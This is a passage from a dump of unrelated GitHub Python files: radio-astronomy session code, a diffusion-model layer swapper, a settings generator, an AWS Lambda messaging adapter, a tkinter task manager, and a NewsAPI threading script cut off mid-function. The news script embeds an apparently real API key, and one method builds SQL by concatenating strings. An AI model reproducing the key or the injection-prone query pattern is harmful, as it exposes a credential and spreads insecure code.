self.logger.debug(\"get_maps: getting %d\", map_id)\n self.maps[map_id] = Map(self, map_id)\n self.logger.info(\"%4d/%03d found %d maps\", self.year, self.doy,\n len(list(self.maps.keys())))\n else:\n self.logger.info(\"No maps found for %4d/%03d\", self.year, self.doy)\n \n def get_boresights(self):\n \"\"\"\n Returns boresights from the xpwr configurations\n \"\"\"\n self.boresights = {}\n pass\n self.logger.info(\"%4d/%03d found %d boresights\", self.year, self.doy,\n len(list(self.boresights.keys())))\n \n def list_maps(self, save=False):\n \"\"\"\n \"\"\"\n if save:\n fileobj = open(self.session_dir+\"maps.txt\", \"w\")\n else:\n fileobj = sys.stdout\n print(\"----------------- Session Maps for %4d/%03d -------------------\" %\\\n (self.year, self.doy), file=fileobj)\n print(\" ID start-stop ch freq. pol. b.w. IFmode attn. source\", file=fileobj)\n print(\"--- ---------- -- ------ ----- ----- ------ ----- -------------\", file=fileobj)\n mapkeys = list(self.maps.keys())\n mapkeys.sort()\n if mapkeys == []:\n print(\"no valid maps with tlog data found\", file=fileobj)\n return False\n for mapno in list(self.maps.keys()):\n try:\n channels = self.maps[mapno].channels\n for chno in channels:\n print(\" %3d %4s-%4s %2d %6.0f %4s %4.2f %4s %4.1d %16s\" % (\n mapno,\n time.strftime(\"%H%M\", time.gmtime(self.maps[mapno].start)),\n time.strftime(\"%H%M\", time.gmtime(self.maps[mapno].end)),\n chno,\n self.maps[mapno].rss_cfg[chno][\"sky_freq\"],\n self.maps[mapno].rss_cfg[chno]['pol'][0],\n self.maps[mapno].rss_cfg[chno][\"if_bw\"],\n self.maps[mapno].rss_cfg[chno][\"if_mode\"][0],\n self.maps[mapno].rss_cfg[chno][\"atten\"],\n self.maps[mapno].source), file=fileobj)\n except AttributeError:\n print(\"map\", mapno, \"has no channels\")\n return True\n\n def save_map_data(self, mapkeys=None):\n \"\"\"\n create a dict with the map data from the designated images\n \n This speeds up retrieval of images\n \n @param mapkeys : numbers of the maps (default: all)\n @type mapkeys : list of int\n \"\"\"\n if mapkeys:\n self.logger.info(\"show_images:\")\n else:\n mapkeys = list(self.maps.keys())\n mapkeys.sort()\n for key in mapkeys:\n try:\n list(self.maps[key].map_data.keys())\n self.logger.debug(\"save_map_data: mapdata[%d] exists\", key)\n except AttributeError:\n self.maps[key].maps_from_tlogs()\n self.logger.debug(\"save_map_data: loaded mapdata[%d]\", key)\n if 'dec_offset' in self.maps[key].map_data:\n self.logger.debug(\"save_map_data: mapdata[%d] is centered\", key)\n else:\n self.maps[key].get_offsets()\n self.logger.debug(\"save_map_data: mapdata[%d] has been centered\", key)\n if 'grid_x' in self.maps[key].map_data:\n self.logger.debug(\"save_map_data: mapdata[%d] is regridded\", key)\n else:\n self.maps[key].regrid()\n self.logger.debug(\"save_map_data: mapdata[%d] has been regridded\", key)\n export = {}\n for key in mapkeys:\n export[key] = self.maps[key].map_data\n filename = \"maps-%4d-%03d.pkl\" % (self.year, self.doy)\n exportfile = open(filename, \"w\")\n pickle.dump(export, exportfile)\n exportfile.close()\n return export\n\n # ---------------------------- receiver data --------------------------------\n \n def get_receiver_data(self, time, columns):\n \"\"\"\n Get the receiver state at a given time\n\n Columns is a string with column names separated by commas.\n \n This creates a dictionary keyed with channel number and returns a dictionary\n of the receiver configuration, keyed with specified in the columns, that was\n in effect at the given time.\n \n The columns in the 'rss_cfg' table are::\n \n rss_cfg_id - primary key\n year -\n doy -\n utc -\n epoch - UNIX time\n chan -\n sky_freq -\n feed -\n pol -\n nd -\n if_mode -\n if_bw -\n bb_bw -\n fiber_chan -\n \n Returns a dict of dicts keyed on column name, where the sub-dicts are keyed\n on channel number.\n\n Notes\n =====\n **Logic**\n \n The challenge here is to get the latest configuration data for each channel\n at or prior to the specified time. That channel may have been configured on\n the same day or a prior day. The method we'll use is to find the ID of last\n configuration change and assume that the IDs are sequential in date/time.\n\n @param db : database\n @type db : Mysql.BaseDB instance\n\n @param year : year of observation\n @type year : int\n\n @param doy : day of year\n @type doy : int\n\n @param time : UTC for the requested receiver state\n @type time : datetime.timedelta\n\n @param columns : data items to be returned\n @type columns : list of str\n\n @return: dict\n \"\"\"\n latest_data = self.db.get_as_dict(\"select rss_cfg_id,year,doy,utc from rss_cfg\"\n +\" where epoch <= '\"+str(time)\n +\"' order by epoch desc limit 1;\")\n # remove any spaces between names and commas\n columns = columns.replace(\" \",\"\")\n # split string into a list\n column_keys = columns.split(',')\n cfg_ID = latest_data['rss_cfg_id'][0]\n receiver = {}\n for key in column_keys:\n receiver[key] = {}\n for chan in [2,4,6,8,10,12,14,16]:\n rx_data = self.db.get_as_dict(\"select \"+columns\n +\" from rss_cfg where rss_cfg_id <= \"+str(cfg_ID)\n +\" and chan = \"+str(chan)\n +\" order by rss_cfg_id desc limit 1;\")\n \n index = column_keys.index(key)\n receiver[key][chan] = rx_data[key][0]\n return receiver\n\n # --------------------------- method for boresights -------------------------\n \n def get_good_boresights(self):\n \"\"\"\n Retrieves data from 'tlog' table for boresights with a given channel\n \n Returns a numpy array with columns containing::\n 0 - UNIX time\n 1 - counts\n 2 - integration time\n 3 - azimuth\n 4 - elevation\n 5 - noise diode state\n 6 - chan (if chan=None)\n \n \"\"\"\n keys = list(self.boresights.keys())\n keys.sort()\n self.good_boresights = {}\n for key in keys:\n self.good_boresights[key] = []\n try:\n channels = list(self.boresights[key].channels)\n except AttributeError:\n self.logger.warning(\"get_good_boresights: %d has no channels\", key)\n else:\n if bool(channels):\n for ch in channels:\n try:\n start = self.boresights[key].logdata[ch]['epoch'][0]\n end = self.boresights[key].logdata[ch]['epoch'][-1]\n except:\n continue\n self.good_boresights[key].append(ch)\n if self.good_boresights[key] == []:\n self.good_boresights.pop(key)\n return self.good_boresights\n \n def make_bs_dir(self, good_only=False, save=False):\n \"\"\"\n Notes\n =====\n Each good boresight consists of two scans\n \"\"\"\n if save:\n fileobj = open(self.session_dir+\"xscans.txt\", \"w\")\n else:\n fileobj = sys.stdout\n if good_only:\n bs_keys = list(self.get_good_boresights().keys())\n else:\n # these are the keys for all boresights, good or bad\n bs_keys = list(self.boresights.keys())\n bs_keys.sort()\n num_scans = len(bs_keys)\n if num_scans == 0:\n # no data\n print(\" Boresight Summary for %4d/%03d\" % (self.year, self.doy), file=fileobj)\n print(\"\\nNo valid boresights with tlog data found\", file=fileobj)\n return False\n print(\" Boresight Summary for %4d/%03d\" % (self.year, self.doy), file=fileobj)\n print(\" ID date ch axis freq. pol IF bw source Top diode az el\", file=fileobj)\n print(\"------ ------------- -- ---- ------ ---- ---- ---------------- ------ ------ ----- ----\", file=fileobj)\n for bs in bs_keys:\n source = self.boresights[bs].source\n try:\n bs_channels = self.boresights[bs].channels\n except AttributeError:\n print(\"%6d has no channels\" % bs, file=fileobj)\n else:\n bs_channels.sort()\n #self.logger.debug(\"make_bs_dir: boresight %d channels: %s\", bs, bs_channels)\n #self.logger.debug(\"make_bs_dir: boresight %d channels is %s\", bs, bool(bs_channels))\n if bool(bs_channels.any()):\n for ch in bs_channels:\n UNIXtime = self.boresights[bs].epoch\n top = self.boresights[bs].bs_data['tsys'][0]\n axis = self.boresights[bs].axis\n az = self.boresights[bs].bs_data['az'][0]\n el = self.boresights[bs].bs_data['el'][0] \n print(\"%6d %13s %2s %4s %6.0f %4s %4.0f %16s %6.2f %6s %5.1f %4.1f\" % (\n bs, \n time.strftime(\"%Y/%j %H%M\", time.gmtime(UNIXtime)),\n ch, axis,\n self.boresights[bs].freq,\n self.boresights[bs].pol,\n self.boresights[bs].IFbw,\n source, top, \n self.boresights[bs].diode, az, el), file=fileobj)\n else:\n print(\"%6d has no channels\" % bs, file=fileobj)\n return True\n\n","repo_name":"SDRAST/Data_Reduction","sub_path":"DSN/Malargue/old_init.py","file_name":"old_init.py","file_ext":"py","file_size_in_byte":26455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"15032516293","text":"# some code is from https://github.com/CCRcmcpe/scal-sdt\nfrom typing import Any, Literal, Optional\nfrom pathlib import Path\nimport warnings\nimport torch\nimport click\n\nDType = Literal[\"fp16\", \"fp32\", \"bf16\"]\nLayerName = Literal[\"attn\", \"ff\"]\nStateDict = dict[str, Any]\n\nDTYPE_MAP = {\n \"fp16\": torch.float16,\n \"fp32\": torch.float32,\n \"bf16\": torch.bfloat16\n}\n\n\ndef save_state_dict(state: StateDict, path: str, format: Literal[\"pt\", \"safetensors\"]):\n if format == \"pt\":\n with open(path, 'wb') as f:\n torch.save(state, f)\n elif format == \"safetensors\":\n try:\n from safetensors.torch import save_file\n except ImportError:\n raise ModuleNotFoundError(\n 'In order to use safetensors, run \"pip install safetensors\"')\n\n state = {k: v.contiguous().to_dense() for k, v in state.items()}\n save_file(state, path)\n else:\n raise ValueError(f'Invalid format \"{format}\"')\n\n\ndef load_model(path: Path, device: str, print_ptl_info=False) -> dict[str, torch.Tensor]:\n if path.suffix == \".safetensors\":\n from safetensors.torch import load_file\n return load_file(path, device=device)\n else:\n ckpt = torch.load(path, map_location=device)\n if print_ptl_info and \"epoch\" in ckpt and \"global_step\" in ckpt:\n print(\n f\"[I] {path.name}: epoch {ckpt['epoch']}, step {ckpt['global_step']}\")\n return ckpt[\"state_dict\"] if \"state_dict\" in ckpt else ckpt\n\n\ndef get_layers(model: Optional[StateDict], layer_name: LayerName) -> StateDict:\n if model is not None:\n attn_k = [x for x in model.keys() if layer_name in x]\n return {l: model[l] for l in attn_k}\n else:\n return {}\n\n\ndef swap_dict(target: StateDict, other: StateDict) -> None:\n \"\"\" \n Not a pure function. Modifies dict in place.\n \"\"\"\n for k, v in other.items():\n if k in target:\n target[k] = v\n\n\ndef swap_layers(model: StateDict, other: Optional[StateDict], layer_name: LayerName) -> None:\n \"\"\" \n Not a pure function. Modifies model in place.\n \"\"\"\n if other is None:\n return\n layers = get_layers(other, layer_name)\n swap_dict(model, layers)\n\n\n@click.command()\n@click.option(\"-a\", \"--attention\", \"attn\", type=click.Path(exists=True), help=\"Path to attention weights.\")\n@click.option(\"-f\", \"--feed-forward\", \"ff\", type=click.Path(exists=True), help=\"Path to feed forward weights.\")\n@click.option(\"-t\", \"--text-encoder\", \"te\", type=click.Path(exists=True), help=\"Path to text encoder weights.\")\n@click.option(\"-r\", \"--rest\", type=click.Path(exists=True), required=True, help=\"Path to rest of the model weights. You must provide this.\")\n@click.option(\"-o\", \"--output\", type=click.Path(), required=True, help=\"Path to output file. Must be a .safetensors or .ckpt file.\")\n@click.option(\"--overwrite\", is_flag=True, help=\"Overwrite output file if it exists.\")\ndef main(attn: Optional[str], ff: Optional[str], te: Optional[str], rest: str, output: str, overwrite: bool):\n attn = Path(attn) if attn else None\n ff = Path(ff) if ff else None\n te = Path(te) if te else None\n rest = Path(rest)\n output = Path(output)\n\n if output.exists() and not overwrite:\n raise FileExistsError(\n f\"{output} already exists. Use --overwrite to overwrite it.\")\n if not output.suffix == \".safetensors\" and not output.suffix == \".ckpt\":\n raise ValueError(\n f\"Output file must be a `.safetensors` or `.ckpt` file. Got {output.suffix}\")\n if te is None and attn is None and ff is None:\n raise ValueError(\n \"Must provide either attn or te or ff. Why are you running this script?\")\n\n unet_dtype: DType = \"fp16\"\n attn_model = load_model(attn, \"cpu\") if attn else None\n ff_model = load_model(ff, \"cpu\") if ff else None\n te_model = load_model(te, \"cpu\") if te else None\n rest_model = load_model(rest, \"cpu\")\n\n # leave TE(Maybe?) and VAE out. I don't need them.\n rest_unet_dict = {k: v.to(DTYPE_MAP[unet_dtype])\n for k, v in rest_model.items() if k.startswith(\"model.diffusion_model.\")}\n\n swap_layers(rest_unet_dict, attn_model, \"attn\")\n swap_layers(rest_unet_dict, ff_model, \".ff.\")\n\n text_encoder_dict = {}\n if te_model is not None:\n text_encoder_dict = {k: v.to(DTYPE_MAP[\"fp32\"])\n for k, v in te_model.items() if k.startswith(\"cond_stage_model.transformer.\")}\n if not any(text_encoder_dict.items()):\n warnings.warn(\n \"No text encoder weights were found in {}.\".format(te))\n\n output_model = {**rest_unet_dict, **text_encoder_dict}\n format = \"safetensors\" if output.suffix == \".safetensors\" else \"pt\"\n save_state_dict(output_model, output, format)\n print(f\"Saved to {output.absolute()}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"ShiyumeMeguri/StableDiffusionTools","sub_path":"Model/swap_attn.py","file_name":"swap_attn.py","file_ext":"py","file_size_in_byte":4884,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"39757250661","text":"import configparser\nimport os\n\nclass CREATE_SETTINGS_DEFAULT():\n def main(self):\n if os.path.exists('Main\\Settings_199\\SETTINGS.ini') == False:\n self.create_file_SETTINGS()\n\n def create_file_SETTINGS(self):\n \n settings = configparser.ConfigParser()\n settings[\"87100\"] = {\"cv_three_tarif\":0,\n \"cv_four_tarif\":0,\n \"cv_five_tarif\":0,\n \"cv_six_tarif\":0,\n \"procent_text\":0}\n settings[\"87200\"] = {\"cv_three_tarif\":0,\n \"cv_four_tarif\":0,\n \"cv_five_tarif\":0,\n \"cv_six_tarif\":0,\n \"procent_text\":0}\n settings[\"08300\"] = {\"cv_three_tarif\":0,\n \"cv_four_tarif\":0,\n \"cv_five_tarif\":0,\n \"cv_six_tarif\":0,\n \"procent_text\":0}\n settings[\"Days\"] = {} \n settings[\"Days\"][\"days_keys\"]=str(['\"ИО\" - ', '\"О\" - ', '\"Э\" - ', '\"Р\" - ', '\"А\" - ', '\"Ж\" - ', '\"Д\" - ', '\"М\" - ', '\"Б\" - ', '\"К\" - ','\"Г\" - '])\n settings[\"Days\"][\"days_values\"]=str(['И.о.мастера', 'Отпуск очередной', 'Отпуск учебный', 'Отпуск по беремености', 'Отпуск за свой счет', 'Пенсионный день/уход за детьми', 'Донорский день', 'Медкомиссия', 'Больничный', 'Командировка','Головняк'])\n\n settings[\"Excell_data\"] = {\"Main_person_name_list\":['Власов А.И.','Малыгин И.В.'],\n \"Botiz_name_list\":['Львова Н.А.','Михайлова В.А.'],\n \"Current_profession_index\":'Начальник НИТИЦ',\n \"Current_main_name_index\":'Власов А.И.',\n \"Current_botiz_profession_index\":'Начальник БОТиЗ',\n \"Current_botiz_name_index\":'Львова Н.А.',\n \"vedomosti\":{\"42\":\"0\",\"7\":\"0\",\"50\":\"0\",\"55\":\"0\",\"foto\":\"0\",\"PZRS\":\"0\"}}\n \n with open(\"Main\\Settings_199\\SETTINGS.ini\", \"w\", encoding=\"utf-8\") as configfile:\n settings.write(configfile)\n\n\nif __name__ == \"__main__\":\n CS = CREATE_SETTINGS_DEFAULT()\n CS.main()\n\n","repo_name":"Moribrunduk/New_199","sub_path":"Premia_199/Bin/Create_settings_defoult_file.py","file_name":"Create_settings_defoult_file.py","file_ext":"py","file_size_in_byte":2571,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72317757146","text":"import logging\nimport json\nimport boto3\nfrom boto3.dynamodb.conditions import Key, Attr\nimport datetime\nimport threading\nimport sys\nimport os\nimport math\n\nFORMAT = \"%(asctime)-15s %(message)s\"\nlogging.basicConfig(format=FORMAT, level=logging.DEBUG)\nlogger = logging.getLogger(\"pos\")\n\n# Get role from environment, instead of hard-coding\nROLE = os.environ[\"ROLE\"]\n\nwith open(\"/opt/logistics.json\") as stream:\n protocol = json.load(stream)\nwith open(os.environ[\"CONFIG\"]) as conf:\n configuration = json.load(conf)\nwith open(\"reactors.json\") as react:\n reactors = json.load(react)\n\n\ndef now():\n return datetime.datetime.utcnow().isoformat()\n\n\ndef match_schema(schemas, message):\n for schema in schemas:\n # find schema with exactly the same parameters (except nils, which should not be bound)\n if (\n not set(schema[\"ins\"])\n .union(schema[\"outs\"])\n .symmetric_difference(message.keys())\n ):\n return schema\n\n\ndef check_integrity(message, enactment):\n \"\"\"\n Make sure message is consistent with an enactment.\n Each message in enactment should have the same keys.\n\n Returns true if the parameters in the message are consistent with all messages in the enactment.\n \"\"\"\n print(\"Checking integrity: {} in {}\".format(message, enactment))\n # may not the most efficient algorithm for large histories\n # might be better to ask the database to find messages that don't match\n return all(message[p] == m[p] for p in message.keys() for m in enactment if p in m)\n\n\ndef check_outs(schema, enactment):\n \"\"\"\n Make sure none of the outs have been bound.\n Only use this check if the message is being sent.\n \"\"\"\n return not any(m.get(p) for m in enactment for p in schema[\"outs\"])\n\n\nclass Adapter:\n def __init__(self, role, protocol, configuration, history_table_name):\n \"\"\"\n Initialize the PoS adapter.\n\n role: name of the role being implemented\n protocol: a protocol specification\n {name, keys, messages: [{name, from, to, parameters, keys, ins, outs, nils}]}\n configuration: a dictionary of roles to endpoint URLs\n {role: url}\n history_table_name: the name of the DynamoDB table to use for storing message history\n \"\"\"\n self.role = role\n self.protocol = protocol\n self.configuration = configuration\n self.sent_handlers = {}\n self.received_handlers = {}\n\n self.db = dynamo_table(history_table_name)\n\n def get_enactment(self, schema, message):\n \"\"\"\n Get all of the messages that match the keys of a message, as specified by schema\n \"\"\"\n logger.info(\"Getting enactment for schema: {}\".format(schema))\n keys = schema[\"keys\"]\n print(\"Keys are \" + str(keys))\n # we're using the first key as the partition key\n key_exp = Key(keys[0]).eq(message[keys[0]])\n\n print(str(self.db))\n print(\"Key expression is \" + str(key_exp))\n # any other keys are just attributes; need a filter expression\n if len(keys) > 1:\n f = None\n for k in keys[1:]:\n exp = Attr(k).not_exists() | Attr(k).eq(message[k])\n f = f & exp if f else exp\n\n response = self.db.query(\n KeyConditionExpression=key_exp, FilterExpression=f, ConsistentRead=True\n )\n else:\n response = self.db.query(\n KeyConditionExpression=key_exp, ConsistentRead=True\n )\n\n print(\"DB response is \" + str(response))\n messages = response[\"Items\"]\n for m in messages:\n m.pop(\"_time\") # _time not part of the message\n m.pop(\"_exp\") # _exp not part of the message\n return messages\n\n def get_schema(self, to, message):\n return match_schema(\n [\n schema\n for schema in self.protocol[\"messages\"].values()\n if schema[\"to\"] == to\n ],\n message,\n )\n\n def receive(self, message):\n schema = self.get_schema(self.role, message)\n if not schema:\n return {\n \"statusCode\": 500,\n \"body\": \"Message does not match any schema: \" + json.dumps(message),\n }\n\n enactment = self.get_enactment(schema, message)\n\n print(\"Checking for duplicates\")\n if message in enactment:\n return {\n \"statusCode\": 200,\n \"body\": \"Duplicate message \" + json.dumps(message),\n }\n\n if not enactment or check_integrity(message, enactment):\n self.store(message)\n # self.handle_received_message(schema, message, enactment)\n print(\"Schema is \" + str(schema))\n payload = {\"message\": message, \"enactment\": enactment}\n\n payload = json.dumps(payload).encode(\"utf-8\")\n reactor = reactors.get(schema[\"name\"])\n if reactor:\n response = client.invoke(\n FunctionName=reactor,\n InvocationType=\"Event\",\n LogType=\"Tail\",\n ClientContext=\"Amit\",\n Payload=payload,\n )\n print(response)\n\n return {\"statusCode\": 200, \"body\": json.dumps(message)}\n else:\n return {\n \"statusCode\": 500,\n \"body\": \"Message does not satisfy integrity: \" + json.dumps(message),\n }\n\n def handler(self, event, context):\n message = json.loads(event[\"body\"])\n print(\"Received message: {}\".format(message))\n return self.receive(message)\n\n def store(self, message):\n \"\"\"Insert a message, represented as a dictionary\n E.g.: {\"orderID\": 1, \"address\": \"Lancaster\"}\n \"\"\"\n message = message.copy()\n time = now()\n message[\"_time\"] = time\n # set expiration time at 15min in the future\n message[\"_exp\"] = math.floor(datetime.datetime.utcnow().timestamp()) + 15 * 60\n self.db.put_item(Item=message)\n return time\n\n def check_dependencies(self, schema, message):\n \"\"\"\n Make sure that all 'in' parameters are bound and matched by some message in the history\n \"\"\"\n for p in schema[\"ins\"]:\n results = self.db.scan(\n Select=\"COUNT\",\n FilterExpression=Attr(p).eq(message[p]),\n ConsistentRead=True,\n )\n if not results[\"Count\"] > 0:\n return False\n return True\n\n def send(self, to, message):\n \"\"\"\n Send a message by posting to the recipient's http endpoint,\n after checking for correctness, and storing the message.\n \"\"\"\n print(\"Starting adapter.send().\")\n schema = self.get_schema(to, message)\n print(\"Schema is \" + str(schema))\n print(\"Message is \" + str(message))\n if not schema:\n print(\"Message doesn't match any schema\")\n return False, \"Message doesn't match any schema\"\n enactment = self.get_enactment(schema, message)\n print(\"Enactment is\" + str(enactment))\n\n logger.info(\"Checking outs\")\n if not check_outs(schema, enactment):\n print(\"Failed out check\")\n return False, \"Failed out check: {}\".format(message)\n\n logger.info(\"Checking integrity\")\n if not check_integrity(message, enactment):\n print(\"Failed integrity check\")\n return False, \"Failed integrity check: {}\".format(message)\n\n logger.info(\"Checking dependencies\")\n if not self.check_dependencies(schema, message):\n print(\"Failed dependency check\")\n return False, \"Failed dependency check: {}\".format(message)\n\n logger.info(\"Storing message\")\n self.store(message)\n # self.handle_sent_message(schema, message, enactment)\n print(\"Schema is \" + str(schema))\n payload = {\"message\": message, \"enactment\": enactment}\n\n payload = json.dumps(payload).encode(\"utf-8\")\n reactor = reactors.get(schema[\"name\"])\n if reactor:\n logger.info(\"Invoking reactor: {}\".format(reactor))\n response = client.invoke(\n FunctionName=reactor,\n InvocationType=\"Event\",\n LogType=\"Tail\",\n ClientContext=\"Amit\",\n Payload=payload,\n )\n print(response)\n\n logger.debug(\"Sending message {} to {}\".format(message, self.configuration[to]))\n print(\"Sending message to Emitter\")\n\n payload = {\"to\": str(self.configuration[to]), \"parameters\": message}\n # requests.post(self.configuration[to],\n # json=message\n #\n payload = json.dumps(payload).encode(\"utf-8\")\n response = client.invoke(\n FunctionName=ROLE + \"Emitter\",\n InvocationType=\"Event\",\n LogType=\"Tail\",\n ClientContext=\"Amit\",\n Payload=payload,\n )\n print(response)\n\n return True, message\n\n def sent(self, schema):\n \"\"\"\n Decorator for declaring sent message handlers.\n\n Example:\n @adapter.message(MessageSchema)\n def handle_message(message, enactment):\n 'do stuff'\n \"\"\"\n\n def register_handler(handler):\n self.sent_handlers[json.dumps(schema, separators=(\",\", \":\"))] = handler\n\n return register_handler\n\n def received(self, schema):\n \"\"\"\n Decorator for declaring received message handlers.\n\n Example:\n @adapter.message(MessageSchema)\n def handle_message(message, enactment):\n 'do stuff'\n \"\"\"\n\n def register_handler(handler):\n self.received_handlers[json.dumps(schema, separators=(\",\", \":\"))] = handler\n\n return register_handler\n\n def handle_sent_message(self, schema, message, enactment):\n \"\"\"\n Dispatch user-specified handler for schema, passing message and enactment.\n \"\"\"\n handler = self.sent_handlers.get(json.dumps(schema, separators=(\",\", \":\")))\n if handler:\n handler(message, enactment)\n\n def handle_received_message(self, schema, message, enactment):\n \"\"\"\n Dispatch user-specified handler for schema, passing message and enactment.\n \"\"\"\n handler = self.received_handlers.get(json.dumps(schema, separators=(\",\", \":\")))\n if handler:\n handler(message, enactment)\n\n\n#\n# Code copied from aws.py\n#\n\n\ndef offline():\n o = False\n print(\"Offline\") if o else print(\"Online\")\n return o\n\n\ndef lambda_client():\n endpoint_url = \"http://localhost:3002/\" if offline() else None\n return boto3.client(\"lambda\", endpoint_url=endpoint_url)\n\n\ndef dynamo():\n endpoint_url = \"http://localhost:8000/\" if offline() else None\n dynamodb = boto3.resource(\"dynamodb\", endpoint_url=endpoint_url)\n return dynamodb\n\n\ndef dynamo_client():\n endpoint_url = \"http://localhost:8000/\" if offline() else None\n client = boto3.client(\"dynamodb\", endpoint_url=endpoint_url)\n return client\n\n\ndef dynamo_table(name):\n return dynamo().Table(name)\n\n\nadapter = Adapter(ROLE, protocol, configuration, ROLE + \"History\")\nclient = boto3.client(\"lambda\")\n\n\ndef lambda_handler(event, context):\n \"\"\"\n Main entry-point.\n\n Event looks like this:\n {\n \"to\": \"Labeler\",\n \"parameters\": {\"orderID\": \"1\", \"address\": \"Lancaster\"}\n }\n \"\"\"\n print(\"Event is\" + str(event))\n if event[\"type\"] == \"send\":\n adapter.send(event[\"to\"], event[\"message\"])\n elif event[\"type\"] == \"receive\":\n adapter.receive(event[\"message\"])\n","repo_name":"cterse/soc-p3-serverless","sub_path":"distributed/components/layer/adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":11742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"7266015719","text":"#PROJET SEULE ET PAS DU TOUT REUSSI\n#AJOUTER FONCTIONNE, CA SE RAJOUTE A LA BASE DE DONNEES (bd.json)\n#AFFICHER LES TACHES FONCTIONNE (problème => page trop petite donc pas toutes les infos visibles si il y a beaucoup d'objet dans le tableau)\n#SUPPRIMER FONCTIONNE MAIS PROBLEME (quand je récupère l'id ça prend le dernier id donc ça supprime à chaque fois le dernier element)\n#PROJET NON DYNAMIQUE => la base de données se modifie automatiquement mais l'interface tkinter ne recupère pas les nouvelles infos\n#PAS COMPRIS QUE C'ETAIT EVALUE SINON J'AURAI DAVANTAGE CHERCHE UN GROUPE\n\nimport json\nimport uuid\nimport tkinter as tk\nfrom tkcalendar import Calendar\nfrom tkinter import ttk\n\nfenetre = tk.Tk()\n\nfenetre.title(\"Gestionnaire de tâche\")\n\nwith open('bd.json') as mon_fichier:\n data = json.load(mon_fichier)\n\n\ndef getIdTache(id):\n print(\"get id tache\")\n\ndef deleteIdTache(id):\n with open('bd.json') as mon_fichier:\n data = json.load(mon_fichier)\n print(\"delete id tache\")\n # print(id)\n print(data)\n data = list(filter(lambda item: item[\"id\"] != id, data))\n file = open(\"bd.json\" , 'w')\n file.write(json.dumps(data))\n file.close()\n # mon_fichier.close()\n # getAllTaches()\n #pour raffraichir la page\n # button.pack_forget()\n # label.pack()\n\n\ndef addTache():\n tache = {\n \"id\": str(uuid.uuid4()),\n\t \"name\": champ_name.get(),\n\t \"description\" : champ_description.get(),\n\t \"date\": str(champdate.get_date()),\n \"etat\": etat.get(),\n }\n data.append(tache)\n with open('bd.json', 'w') as mon_fichier:\n\t json.dump(data, mon_fichier)\n\ndef updateIdTache(id):\n print(\"delete id tache\")\n\n\ndef getAllTaches():\n tk.Label(fenetre, text=\"LISTE DES TACHES\").pack()\n tk.Label(fenetre, text=\"---------------\").pack()\n for element in data:\n x1 = tk.Label(fenetre, text=element[\"id\"])\n # if (element[\"etat\"] == \"En cours\"):\n # x1.config(bg=\"yellow\")\n x1.pack()\n x2 = tk.Label(fenetre, text=element[\"name\"])\n x2.pack()\n x3 = tk.Label(fenetre, text=element[\"description\"])\n x3.pack()\n x4 = tk.Label(fenetre, text=element[\"date\"])\n x4.pack()\n x5 = tk.Label(fenetre, text=element[\"etat\"])\n x5.pack()\n tk.Button(fenetre, text=\"Supprimer\", command = lambda: deleteIdTache(element[\"id\"])).pack()\n # if (element[\"etat\"] == \"Termine\"):\n # var1 = tk.IntVar()\n # var1.set(\"Termine\")\n # cEtat = tk.Checkbutton(fenetre, text=element[\"etat\"],variable=var1, onvalue=1, offvalue=0, command= lambda:updateIdTache(element[\"id\"]))\n # cEtat.pack()\n\n\n\netiquette_name = tk.Label(fenetre, text=\"Nom de la tâche\")\netiquette_description = tk.Label(fenetre, text=\"Descrption de la tâche\")\netiquette_etat = tk.Label(fenetre, text=\"Etat de la tâche\")\netiquette_date = tk.Label(fenetre, text=\"Date de la tâche\")\n\nchamp_name = tk.Entry(fenetre)\nchamp_description = tk.Entry(fenetre)\nchamp_etat = tk.Entry(fenetre)\nchampdate = Calendar(fenetre, selectmode = 'day',\n year = 2023, month = 10,\n day = 25)\n\netiquette_name.pack()\nchamp_name.pack()\netiquette_description.pack()\nchamp_description.pack()\netiquette_etat.pack()\netat = tk.StringVar()\netat.set(\"En cours\")\nr1 = tk.Radiobutton(fenetre, text=\"En cours\", variable=etat, value=\"En cours\")\nr2 = tk.Radiobutton(fenetre, text=\"Terminé\", variable=etat, value=\"Termine\")\nr1.pack()\nr2.pack()\netiquette_date.pack()\nchampdate.pack(pady = 20)\n\n\nbouton_add = tk.Button(fenetre, text=\"Ajouter une tâche\", command=addTache)\nbouton_add.pack()\n\nbouton_getAll = tk.Button(fenetre, text=\"Afficher les tâches\", command=getAllTaches)\nbouton_getAll.pack()\n\n\nfenetre.geometry(\"2000x1600\")\n\nfenetre.mainloop()\n\n\n","repo_name":"mellylu/coursPython","sub_path":"exercice4.py","file_name":"exercice4.py","file_ext":"py","file_size_in_byte":3762,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"865749744","text":"\"\"\"\nShin Tran\nPython 220\nAssignment 9\n\nThreading script to see how much a given word is mentioned in the news today\n\nUses data from the NewsAPI:\nhttps://newsapi.org\n\n#!/usr/bin/env python\n\"\"\"\n\nimport queue\nimport requests\nimport threading\nimport time\n\n\nWORD = \"trump\"\nNEWS_API_KEY = \"7d180fa4b3bc4a2999e1a064833f9ede\"\nbase_url = 'https://newsapi.org/v1/'\n\n\ndef get_sources():\n \"\"\"\n Get all the english language sources of news\n 'https://newsapi.org/v1/sources?language=en'\n \"\"\"\n url = base_url + \"sources\"\n params = {\"language\": \"en\"}\n resp = requests.get(url, params=params)\n data = resp.json()\n sources = [src['id'].strip() for src in data['sources']]\n print(\"The sources have been obtained.\")\n #print(sources)\n return sources\n\n\ndef get_articles(source, title_list, queueLock):\n \"\"\"\n https://newsapi.org/v1/articles?source=associated-press\n &sortBy=top&apiKey=1fabc23bb9bc485ca59b3966cbd6ea26\n \"\"\"\n url = base_url + \"articles\"\n params = {\"source\": source,\n \"apiKey\": NEWS_API_KEY,\n \"sortBy\": \"top\"}\n print(\"requesting:\", source)\n resp = requests.get(url, params=params)\n if resp.status_code != 200: # aiohttpp has \"status\"\n print(\"something went wrong with {}\".format(source))\n print(resp)\n print(resp.text)\n return []\n data = resp.json()\n # the url to the article itself is in data['articles'][i]['url']\n queueLock.acquire()\n title_list.extend([str(art['title']) + str(art['description'])\n for art in data['articles']])\n queueLock.release()\n return title_list\n\n\ndef count_word(word, titles):\n 